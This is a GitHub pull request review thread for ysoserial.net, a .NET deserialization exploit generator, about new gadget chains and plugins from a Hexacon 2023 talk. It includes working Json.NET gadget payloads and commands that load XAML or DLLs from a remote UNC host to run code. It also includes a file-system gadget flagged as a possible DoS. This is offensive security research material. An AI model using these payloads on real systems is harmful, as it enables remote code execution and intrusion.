Closed chudyPB closed 1 year ago
This is amazing, well done! I feel like those plugins can be added as main or variant perhaps in the future when we are not fussed about command/code execution anymore which I think is a good change.
I haven't done any professional reviews in GitHub so please excuse the way I have written everything here as a blob. I can do better in the future! I realised this very late when I was almost finished writing them.
A few minor things here to be addressed:
1- I have noticed the ysoserial.csproj
has not been submitted. This means the new changes cannot be built as those modules are excluded. Could you please update that to include them all? (in generators, plugins and helpers)
2- Running ysoserial.exe -g BaseActivationFactory -f Json.Net -c 'https://1.1.1.1/test.dll'
shows a descriptive comment before the payload saying This gadget loads remote/local file: -c argument should provide a file path to your DLL file (without .dll extenion - it will be appended during gadget execution)
- Is it possible to fix the typo and display this only if the payload does not perhaps end with a .dll
? This makes it difficult to use the generated payload straight away without further manual changes. The GetterCompilerResultsGenerator
is similar.
2.1- Could you also please do the same thing with the comment in XamlImageInfo
for its first variant? In that case probably just display it when -t
is used as we have no way of knowing whether what has been provided is valid?
3- In XamlImageInfoGenerator
could you please use inputArgs.IsRawCmd = true
instead of using cmd argument to prevent error when --rawcmd is used? The code would look like this:
else
{
inputArgs.IsRawCmd = true;
Console.WriteLine("This gadget loads remote/local file: -c argument should provide a file path to your XAML file\r\n");
payload = @"{
'$type':'System.Activities.Presentation.Internal.ManifestImages+XamlImageInfo, System.Activities.Presentation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'stream':{
'$type':'Microsoft.Build.Tasks.Windows.ResourcesGenerator+LazyFileStream, PresentationBuildTasks, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35','path':'" + inputArgs.Cmd + @"'
}
}";
3.1- The same thing should be done in GetterCompilerResultsGenerator
to use inputArgs.IsRawCmd = true
and inputArgs.Cmd
4- (suggestion) add --minify
to the plugins when you have the time.
5- I think the GetterCallGadgetsPlugin
is a little bit vague on how to create the inner-gadget. I also think you can use ysoserial.net to automatically create this inner-gadgets if you need to specify the gadget such as GetterSecurityException
with json.net
formatter. That would make it quite easier than generating a payload first then passing it to the plugin. Other plugins such as ResxPlugin
do this if you need an example. If you really want to go hard core in terms of chaining multiple gadgets, you can also have a look at the --bridgedgadgetchains
feature.
6- Please add both https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf and https://www.youtube.com/watch?v=ZcOZNAmKR0c&feature=youtu.be to the readme. I feel like we as a community haven't done a good job overall in keeping the links up to date so please kindly add anything you think are related and you already have them in your list over there (only if you have the time as this is not necessary for this PR).
Test not implemented for .NET 5/6/7 gadget. Please test manually.
-> what can we do so we can actually test this? do we need to build the tool using .NET 6?ysoserial.exe -g GetterSecurityException -f json.net -c "calc" --minify -t --rawcmd -var 2
and ysoserial.exe -g GetterSettingsPropertyValue -f json.net -c "calc" --minify -t --rawcmd -var 2
run the calc twice but -var 3
doesn't do it 3 times?! (just joking, ignore this one but I like to read why it is twice and to know whether -var 2
was a conspiracy lol) XamlImageInfoGenerator
we should change location of variant 1 with variant 2 as variant 2 is testable. But I would like to know your view on this as well. Perhaps the first variant is more useful atm?ysoserial.exe -p NetNonRceGadgets -g FileLogTraceListener -f JavaScriptSerializer -i 'C:\\Users\\Public\\pocdir' -t
but it didn't create a directory and did not show me any errors either. Would be good to know in what situation it works. Also add a comment about the possible DoS to the example as well (I copied and pasted it without looking at the help first!). Please also make sure the test flag can apply to all or just show warning if cannot be implemented.Thanks for all the feedback, I find it really good!
fixed, although my Visual Studio has updated some of the packages. It should not have any effect on the tool, but you may want to double check.
It's a little complex here, but I have managed to modify it in a following way:
a) BaseActivationFactory
BaseActivationFactory should receive a path with no extension. During the deserialization, the .NET code will append the ".dll" string to the path.
I've done following:
b) GetterCompilerResults
We are able to load files not only with the ".dll" extension. I've already exploited something once, where I could upload ".txt" file and chained the file-write primitive with this gadget to load the DLL, where file had the ".txt" extension.
Still, I've implemented a check if the given path ends with ".dll" (case insensitive). I've also provided all the explanation and said that if you want to have a different extension in the gadget - just modify it manually.
Done, appended info message when the test is enabled.
Done for XamlImageInfo, GetterCompilerResults and BaseActivationFactory
I've implemented --minify
for all 3 plugins. As I've only added json versions of gadgets, the minifier for JSON was added.
So, it's quite complex. My idea was following:
a) If we are aware of an available gadget chain (like GetterSecurityException
) - we are adding it to the main line of gadgets (or appropriate plugin).
b) This gadget was intended to chain custom "insecure serialization" gadgets that you may find in e.g. targeted product codebase, with any known Arbitrary Getter Call gadget (like PropertyGrid
).
This is way I didn't implement chains with e.g. SecurityException
here. It is already done in the main line of gadgets.
I know that the entire idea may be kind of confusing without reading the white paper or hearing my presentation, so I have extended the feedback provided by the plugin.
To see it, run it with -l
:
> .\ysoserial.exe -p GetterCallGadgets -l
Plugin allows you to chain any "insecure serialization" gadget with the arbitrary getter call gadget.
You can use this pluing to chain serialization gadgets found in different codebases with arbitrary getter call gadget and reach malicious getter call.
Several chain of gadgets are already implemented in the ysoserial.net, see following gadgets:
- GetterSecurityException
- GetterSettingsPropertyValue
- GetterCompilerResults
- GetterActiveMQObjectMessage in ThirdPartyGadgets plugin
For more information about chaining arbitrary getter call gadgets with insecure getter gadgets, see following white paper ("Arbitrary Getter Call Gadget Idea" and "Combining Getter Gadgets with Insecure Serialization Gadgets"): https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf
Gadgets are implemented for Json.NET only, but some of them are applicable to different serializers too (like JavaScriptSerializer or MessagePack).
Gadgets:
(*) PropertyGrid
...
So in general, I treat this plugin as something for the "hardcore" exploitation, when nothing else is available and we are desperate to bypass some e.g. blacklist.
Please let me know if this idea is OK with you. If not, I am open to contribute more and we can work on something different here.
Done, white paper was not public when I made this PR. I've also added one of my recent blog posts (which is also included in the beginning of the white paper). I'll try to extend this list in the future.
Yes, in order to test this gadget, we need to build with .NET 5, 6 or 7. Also, we need to enable WPF (I've added this info to the message).
To enable WPF, add follwoing to the .csproj
, under PropertyGroup
tag:
<UseWindowsForms>true</UseWindowsForms>
Oh yes, I'm aware of that but I forgot to mention that. ComboBox
arbitrary getter call gadget tends to call the target getter twice. This is because we have a code executed twice :) I've added this info to the variant description.
BTW - sometimes it does not behave this way and calls the getter once only. I have never found time to debug this behavior more.
I've used the file-based variant as a main one, because it exists in GAC and you should be able to use it against any target. The second variant works only if you have a non-GAC dll available: Microsoft.Web.Deployment
. This is why I think that we can stick with this.
Regarding the tests - you can easily test variant 1 too. You just have to create a XAML gadget, put it on your local file system or remote SMB server and generate a gadget that loads this file.
Example:
> .\ysoserial.exe -g ObjectDataProvider -f Xaml -c calc.exe > \\192.168.1.25\c$\Users\Public\test.xaml
> .\ysoserial.exe -g XamlImageInfo -f Json.Net -c '\\\\192.168.1.25\\c$\\Users\\Public\\test.xaml' -t
This gadget loads remote/local file: -c argument should provide a file path to your XAML file. UNC path can be used for the remote file loading
Example: ysoserial.exe -g XamlImageInfo -f Json.Net -c '\\\\attacker\\poc\\your.xaml'
{
'$type':'System.Activities.Presentation.Internal.ManifestImages+XamlImageInfo, System.Activities.Presentation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'stream':{
'$type':'Microsoft.Build.Tasks.Windows.ResourcesGenerator+LazyFileStream, PresentationBuildTasks, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35','path':'\\\\192.168.1.25\\c$\\Users\\Public\\test.xaml'
}
}
This should pop calc :) Please note that you have to escape the \
characters in the gadget.
Ok, this is weird, as it works flawlessly on any Windows VM that I have.
> ls C:\Users\Public\pocdir\
ls : Cannot find path 'C:\Users\Public\pocdir\' because it does not exist.
> .\ysoserial.exe -p NetNonRceGadgets -g FileLogTraceListener -f JavaScriptSerializer -i 'C:\\Users\\Public\\pocdir' -t
{
'__type':'Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a',
'CustomLocation':'C:\\Users\\Public\\pocdir'
}
> ls C:\Users\Public\pocdir\
>
My guess is: this is non-GAC assembly, but my base Windows build has it for some reasone (maybe I've installed something along with Visual Studio, where Visual Studio adds this installer to GAC).
However, I was pretty sure that Microsoft.VisualBasic
is a GAC dll. Could you please check if you have this DLL in your GAC and if not, is Version
and PublicKeyToken
correct? If yes, I guess we have to investigate this further.
Thanks for the quick update. We are getting there :)
Here are some further comments:
A)
This should pop calc :) Please note that you have to escape the \ characters in the gadget.
I am sorry I have given you incomplete advise as I have forgotten how things used to work a little bit. As the inputs are going in JSON, I think you should also use inputArgs.CmdType = CommandArgSplitter.CommandType.JSON;
then use inputArgs.CmdFullString
to have it all escaped automatically. So the code in GetterCompilerResultsGenerator.cs
for example will look like this:
inputArgs.IsRawCmd = true;
inputArgs.CmdType = CommandArgSplitter.CommandType.JSON;
if (!inputArgs.Cmd.ToLowerInvariant().EndsWith(".dll"))
{
Console.WriteLine("This gadget loads remote (.NET 5/6/7) or local file (.NET Framework): -c argument should provide a file path to your mixed DLL file, which needs to end with the \".dll\"\r\nUNC paths can be used for the remote DLL loading, like \\\\attacker\\poc\\your.dll\r\nIf you want to deliver file with a different extension than .dll, please modify the gadget manually\r\nExample: ysoserial.exe -g GetterCompilerResults -f Json.Net -c '\\\\\\\\attacker\\\\poc\\\\your.dll'");
Environment.Exit(-1);
}
if (formatter.ToLower().Equals("json.net"))
{
compilerPayload = @"{
'$type':'System.CodeDom.Compiler.CompilerResults, System.CodeDom, Version=6.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51',
'tempFiles':null,
'PathToAssembly':'" + inputArgs.CmdFullString + @"'
}";
...
Please make sure the payloads can still run with -t
and it doesn't mess things up.
B) We are now getting an error from GitHub build complaining about the MessagePack assembly.
D:\a\ysoserial.net\ysoserial.net\ysoserial\Helpers\SerializersHelper.cs(1,7): error CS0246: The type or namespace name 'MessagePack' could not be found (are you missing a using directive or an assembly reference?) [D:\a\ysoserial.net\ysoserial.net\ysoserial\ysoserial.csproj]
Although it builds ok locally, I think we need to modify the project file at least for:
..\packages\MessagePack.2.5.129\lib\netstandard2.0\MessagePack.dll
..\packages\MessagePack.Annotations.2.5.129\lib\netstandard2.0\MessagePack.Annotations.dll
One thing I see there is that you have used netstandard. I am not sure whether we can have this for .NET Framework but please check that as well. Could you please also add the packages.config
with the updates?
C) I have noticed some unused libraries in the project file. Please remove any unused libraries from the CSProj file and packages.config
and make sure it builds fine
Ok, updates made :)
A)
Nice feature! I've added it to the BaseActivationFactory, GetterCompilerResults and XamlImageInfo.
B and C)
The entire mess happened, because I was adding new packages to test 3rd party gadgets. NuGet needed to update and add some additional packages during the process. I have retrieved an old .csproj file and just added .cs
files. Should be good now. I have downloaded the entire repo and I was able to build it.
D) Testing and additional thing
I have tested all the stuff again on 2 different machines.
Everything works on both machines except for GetterCompilerResults
local DLL loading for .NET Framework (it works for .NET >= 5).
On one machine, System.CodeDom.dll
is present in GAC for .NET Framework. On the second, it is not. This is some dependency hell, as it is available for .NET 5/6/7 on both machines.
Anyway, I have added an additional info to the GetterCompilerResults
local DLL loading for .NET Framework, which says that System.CodeDom
needs to be available for it to work.
I think that rest of the stuff should be good now :)
I am happy with all this now and as you have confirmed that all is working, I am going to approve this given we also have a successful build :) Thank you!
Thanks for a quick review! If there are any issues regarding the added gadgets or plugins - let me know. I'll try to resolve issues as fast as possible. :)
Awesome job @chudyPB! and thanks a lot for the quick review @irsdl!
Hi,
This PR implements a lot of stuff. This is an outcome of my Hexacon 2023 talk. White paper that describes all the implemented gadgets/plugin will be made public in a day or two - I will add a comment to this PR. Presentation video should be available soon.
Changes:
1) New gadgets in the main line
Please note that some of the listed gadgets can be also implemented for some different formatters, but I didn't manage to test them against all of the possible serializers.
GetterSecurityException
- RCE gadget for .NET Framework. This gadget chains Arbitrary Getter Call gadget and SecurityException serialization gadget (getter leads to BinaryFormatter). It has 4 variants. Every variant implements a different Arbitrary Getter Call gadget - PropertyGrid, ListBox, ComboBox, CheckedListBox.GetterSettingsPropertyValue
- RCE gadget for .NET Framework. This gadget chains Arbitrary Getter Call gadget and SecurityException serialization gadget (getter leads to BinaryFormatter). It has 4 variants. Every variant implements a different Arbitrary Getter Call gadget - PropertyGrid, ListBox, ComboBox, CheckedListBox.XamlImageInfo
- RCE gadget for .NET Framework, leads to XAML loading. Currently implemented for Json.NET in 2 variants: variant 1 (GAC) - loads XAML from file (UNC path can be provided for remote file loading); variant 2 (non-GAC) - directly delivers the XAML payload, but Microsoft.Web.Deployment.dll is requiredBaseActivationFactory
- Remote DLL loading for .NET 5, 6 and 7. Requires WPF to be enabled or PresentationFramework.dll to be available. C/C++ dll can be provided. UNC path can be given to load remote DLL.GetterCompilerResults
- Remote DLL loading for .NET 5, 6 and 7, local DLL loading for .NET Framework. For .NET 5/6/7, WPF needs to be enabled or PresentationFramework.dll available. Mixed assembly can be delivered. For .NET 5/6/7 remote loading, UNC path can be given. No requirements for local DLL loading in .NET Framework.2) 2 new labels for gadgets
As I have introduced gadgets that chain arbitrary getter call with something that I've called serialization gadget, I have added two new labels:
3) Contribution to
TextFormattingRunProperties
I have implemented Json.NET for
TextFormattingRunProperties
4) 3 New Plugins
I have created 3 new plugins:
a) GetterCallGadgets
It allows you to chain your serialization gadget (gadget where getter call leads to something malicious) with one of the implemented arbitrary getter call gadgets:
I have only implemented those gadgets for Json.NET, but some of them are also applicable for different serializers. It's a thing for a future implementation, or somebody may want to contribute.
b) NetNonRceGadget
It implements Non-RCE gadgets for .NET Framework. I've implemented 3 gadgets:
They are also applicable for different serializers. It's a thing for a future implementation, or somebody may want to contribute.
c) ThirdPartyGadgets
This plugin implements gadgets for 3rd party libraries, like MongoDB or Grpc.Core. Right now, there are 10 gadgets implemented and you can list them with this command:
Gadgets are fully described. Also, all the details about them can be found in the white paper.
I have only implemented those gadgets for Json.NET, but some of them are also applicable for different serializers. It's a thing for a future implementation, or somebody may want to contribute.